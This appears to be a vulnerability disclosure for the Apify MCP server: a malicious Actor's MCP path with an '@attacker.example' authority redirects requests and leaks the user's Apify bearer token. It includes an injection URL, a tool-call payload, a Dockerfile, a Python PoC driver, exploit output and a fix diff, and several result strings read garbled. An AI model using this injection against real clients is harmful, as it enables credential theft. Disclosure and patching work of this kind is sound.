Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token

 1// src/mcp/actors.ts:44
 2return `${standbyUrl}${mcpServerPath}`;

 1https://real-actor-id.apify.actor@attacker.example/mcp

 1// src/mcp/client.ts:94  — SSEClientTransport requestInit
 2authorization: `Bearer ${token}`,
 3 
 4// src/mcp/client.ts:103 — SSE fetch callback
 5headers.set('authorization', `Bearer ${token}`);
 6 
 7// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
 8authorization: `Bearer ${token}`,

 1# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
 2docker build -t vuln-001-poc \
 3  -f vuln-001/Dockerfile \
 4  /path/to/mcp_38_apify__actors-mcp-server
 5 
 6# Run the exploit (--network none: fully air-gapped)
 7docker run --rm --network none vuln-001-poc

 1  parsed.hostname        : 127.0.0.1
 2[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
 3=== STEP 2: attacker HTTPS server received request ===
 4  Authorization     : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
 5=== RESULT: EXPLOIT SUCCESSFUL ===
 6[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337

 1{
 2  "jsonrpc": "2.0",
 3  "id": 1,
 4  "method": "tools/call",
 5  "params": {
 6    "name": "fetch-actor-details",
 7    "arguments": {
 8      "actor": "attacker/malicious-mcp",
 9      "output": { "mcpTools": true }
10    },
11    "_meta": { "mcpSessionId": "poc-session" }
12  }
13}

 1Authorization: Bearer apify_api_victim_token

 1node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
 2# Output: 127.0.0.1  ABC.apify.actor

 1--- a/src/mcp/actors.ts
 2+++ b/src/mcp/actors.ts
 3 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
 4     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
 5-    return `${standbyUrl}${mcpServerPath}`;
 6+    const url = new URL(mcpServerPath, `${standbyUrl}/`);
 7+    if (url.origin !== standbyUrl) {
 8+        throw new Error('Actor MCP server path must resolve under the Actor standby URL');
 9+    }
10+    url.username = '';
11+    url.password = '';
12+    return url.toString();
13 }

 1FROM node:24-slim
 2 
 3# ─── system packages ───────────────────────────────────────────────────────────
 4RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
 5 && rm -rf /var/lib/apt/lists/*
 6 
 7# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
 8# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
 9RUN mkdir /certs && \
10 openssl req -x509 -newkey rsa:2048 \
11 -keyout /certs/key.pem -out /certs/cert.pem \
12 -days 1 -nodes \
13 -subj '/CN=127.0.0.1' \
14 -addext 'subjectAltName=IP:127.0.0.1' \
15 2>/dev/null
16 
17# ─── vulnerable package ────────────────────────────────────────────────────────
18WORKDIR /app
19COPY repo/ ./
20 
21# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
22RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null
23 
24# Install only production deps — build output not needed; exploit imports from source via tsx.
25# --frozen-lockfile validates the lockfile is up-to-date with package.json.
26RUN pnpm install --frozen-lockfile
27 
28# ─── exploit files ─────────────────────────────────────────────────────────────
29COPY vuln-001/exploit.mjs /exploit.mjs
30 
31# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
32ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
33 
34CMD ["node", "/exploit.mjs"]

 1#!/usr/bin/env python3
 2"""
 3VULN-001 dynamic PoC driver.
 4 
 5Builds the Docker image, runs the exploit container, collects observable evidence,
 6and writes phase2_result.json with the outcome.
 7"""
 8import json
 9import os
10import subprocess
11import sys
12import textwrap
13 
14# ─── paths ────────────────────────────────────────────────────────────────────
15THIS_DIR    = os.path.dirname(os.path.abspath(__file__))          # vuln-001/
16CONTEXT_DIR = os.path.dirname(THIS_DIR)                           # mcp_38_apify__actors-mcp-server/
17DOCKERFILE  = os.path.join(THIS_DIR, 'Dockerfile')
18RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
19IMAGE_TAG   = 'vuln-001-poc'
20 
21BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
22RUN_CMD   = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
23 
24 
25def run(cmd, *, timeout, **kwargs):
26    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)
27 
28 
29def write_result(payload: dict):
30    with open(RESULT_PATH, 'w') as f:
31        json.dump(payload, f, indent=2, ensure_ascii=False)
32    print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')
33 
34 
35def main():
36    print('=' * 70)
37    print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
38    print('=' * 70)
39 
40    # ── 1. Docker build ───────────────────────────────────────────────────────
41    print(f'\n[1/2] building Docker image...')
42    print(f'      command: {" ".join(BUILD_CMD)}')
43    build = run(BUILD_CMD, timeout=600)
44    if build.returncode != 0:
45        msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
46        print('[!] build failed:\n', msg)
47        write_result({
48            'passed': False,
49            'verdict': 'FAIL',
50            'reason': f'Docker build failed. error: {msg[:500]}',
51            'build_command': ' '.join(BUILD_CMD),
52            'run_command': ' '.join(RUN_CMD),
53            'poc_command': f'python3 {os.path.relpath(__file__)}',
54            'evidence': msg[:1000],
55            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
56        })
57        sys.exit(1)
58    print('[+] build succeeded')
59 
60    # ── 2. Docker run ─────────────────────────────────────────────────────────
61    print(f'\n[2/2] text while running the container...')
62    print(f'      command: {" ".join(RUN_CMD)}')
63    try:
64        run_result = run(RUN_CMD, timeout=120)
65    except subprocess.TimeoutExpired:
66        write_result({
67            'passed': False,
68            'verdict': 'INCOMPLETE',
69            'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
70            'build_command': ' '.join(BUILD_CMD),
71            'run_command': ' '.join(RUN_CMD),
72            'poc_command': f'python3 {os.path.relpath(__file__)}',
73            'evidence': 'timeout',
74            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
75        })
76        sys.exit(1)
77 
78    stdout = run_result.stdout
79    stderr = run_result.stderr
80    print('\n--- container stdout ---')
81    print(stdout)
82    if stderr:
83        print('--- container stderr (text 1000characters) ---')
84        print(stderr[:1000])
85 
86    # ── 3. result verdict ──────────────────────────────────────────────────────────
87    passed = (
88        run_result.returncode == 0
89        and 'attacker HTTPS server received request' in stdout
90        and 'EXPLOIT SUCCESSFUL' in stdout
91        and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
92    )
93 
94    # Build evidence excerpt (key lines only)
95    evidence_lines = [l for l in stdout.splitlines()
96                      if any(k in l for k in ['PASS', 'PROOF', 'received request',
97                                               'EXPLOIT', 'parsed.hostname', 'Authorization'])]
98    evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
99 
100    if passed:
101        print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
102        write_result({
103            'passed': True,
104            'verdict': 'PASS',
105            'reason': (
106                'Docker container withintext vulnerabilitytext fully reproductiondone. '
107                'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
108                '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
109                '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
110                'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
111                'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
112            ),
113            'build_command': ' '.join(BUILD_CMD),
114            'run_command': ' '.join(RUN_CMD),
115            'poc_command': f'python3 poc.py',
116            'evidence': evidence,
117            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
118        })
119    else:
120        reason_detail = ''
121        if run_result.returncode != 0:
122            reason_detail = f'container exit code {run_result.returncode}. '
123        if 'TOKEN_CAPTURED' not in stdout:
124            reason_detail += 'attacker serverfrom token capture text textnot not. '
125        if 'EXPLOIT SUCCESSFUL' not in stdout:
126            reason_detail += 'final success message none. '
127 
128        print(f'\n[✗] FAIL — {reason_detail}')
129        write_result({
130            'passed': False,
131            'verdict': 'FAIL',
132            'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
133            'build_command': ' '.join(BUILD_CMD),
134            'run_command': ' '.join(RUN_CMD),
135            'poc_command': f'python3 poc.py',
136            'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
137            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
138        })
139        sys.exit(1)
140 
141 
142if __name__ == '__main__':
143    main()